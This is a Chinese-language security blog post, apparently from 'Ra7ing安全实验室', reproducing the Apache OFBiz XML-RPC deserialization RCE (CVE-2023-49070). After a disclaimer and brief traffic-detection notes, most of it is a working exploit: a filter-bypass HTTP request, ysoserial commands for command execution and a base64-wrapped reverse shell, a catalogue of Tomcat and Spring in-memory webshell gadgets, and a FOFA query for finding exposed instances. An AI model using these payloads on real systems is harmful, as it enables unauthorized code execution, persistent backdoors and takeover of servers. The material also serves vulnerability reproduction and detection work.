Apache Ofbiz XML-RPC RCE (CVE-2023-49070) [漏洞复现]

图片

图片

Apache Ofbiz XML-RPC RCE

免责声明

本人发布的内容仅作为测试和学习交流,禁止用于未授权场景。任何人不得将其用于非法目的。我方对于阅读本文技术引起的法律责任概不负责。

--->组件介绍

Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。

--->漏洞描述

2020年,为修复 CVE-2020-9496 增加权限校验,存在绕过。2021年,增加 Filter 用于拦截 XMLRPC 中的恶意请求,存在绕过。2023年四月,彻底删除xmlrpc handler 以避免同类型的漏洞产生尽管主分支在四月份已经移除了XML-RPC组件,但在Apache OFBiz的正式发布版本中,仅最新版本18.12.10彻底废除了XML-RPC功能。

流量分析: 攻击者利用这个漏洞时,会发送包含用户名和密码的 HTTP 请求到 XML-RPC 接口。在网络流量中,这可能表现为对 /webtools/control/xmlrpc 的异常访问请求。

异常请求内容: 利用 Filter 绕过机制的请求可能包含不寻常的 URI 结构,如使用分号或路径穿越技术(./)。

特定的错误日志: 在尝试进行反序列化攻击时,可能会在日志中观察到相关错误或异常信息,尤其是与XML-RPC 组件相关的。

漏洞复现

--->影响版本

Apache OFBiz < 18.12.10

图片

搭建好环境

图片

payload:

POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
              [base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

回显内存马

java -jar ysoserial-main-49888d3191-1.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" | base64 | tr -d "\n"

图片

图片

RCE

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

图片

图片

图片

反弹shell&其他

开启监听

图片

将反弹shell命令base64编码

图片

语句如下

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "bash -c {echo,base64编码的反弹shell指令}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"

其他语句

java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho"                     # TomcatCmdEcho
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromJMX"      # TomcatServletMemShellFromJMX
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromThread"   # TomcatServletMemShellFromThread
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromJMX"       # TomcatFilterMemShellFromJMX     适用于tomcat7-9
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromThread"    # TomcatFilterMemShellFromThread  适用于tomcat7-9
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromJMX"     # TomcatListenerMemShellFromJMX
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromThread"  # TomcatListenerMemShellFromThread
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatListenerNeoRegFromThread"    # TomcatListenerNeoRegFromThread     python neoreg.py -k fuckyou
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:SpringInterceptorMemShell"         # SpringInterceptorMemShell       链接shell需要使用存在的路由
java -jar ysoserial.jar CommonsBeanutils192NOCC "FILE:E:\Calc.class"                      # ClassLoaderTemplate
java -jar ysoserial.jar CommonsBeanutils192NOCC "calc"                                    # CommandTemplate                 CLASS: FILE: 不使用协议开头则默认为执行cmd

--->fofa

app="Apache_OFBiz"

图片

end

图片

微信号 : Ra7ing

扫码关注

交流学习

图片

posted on 2023-12-09 02:01  Ra7ing安全实验室  阅读(1095)  评论(0)    收藏  举报

导航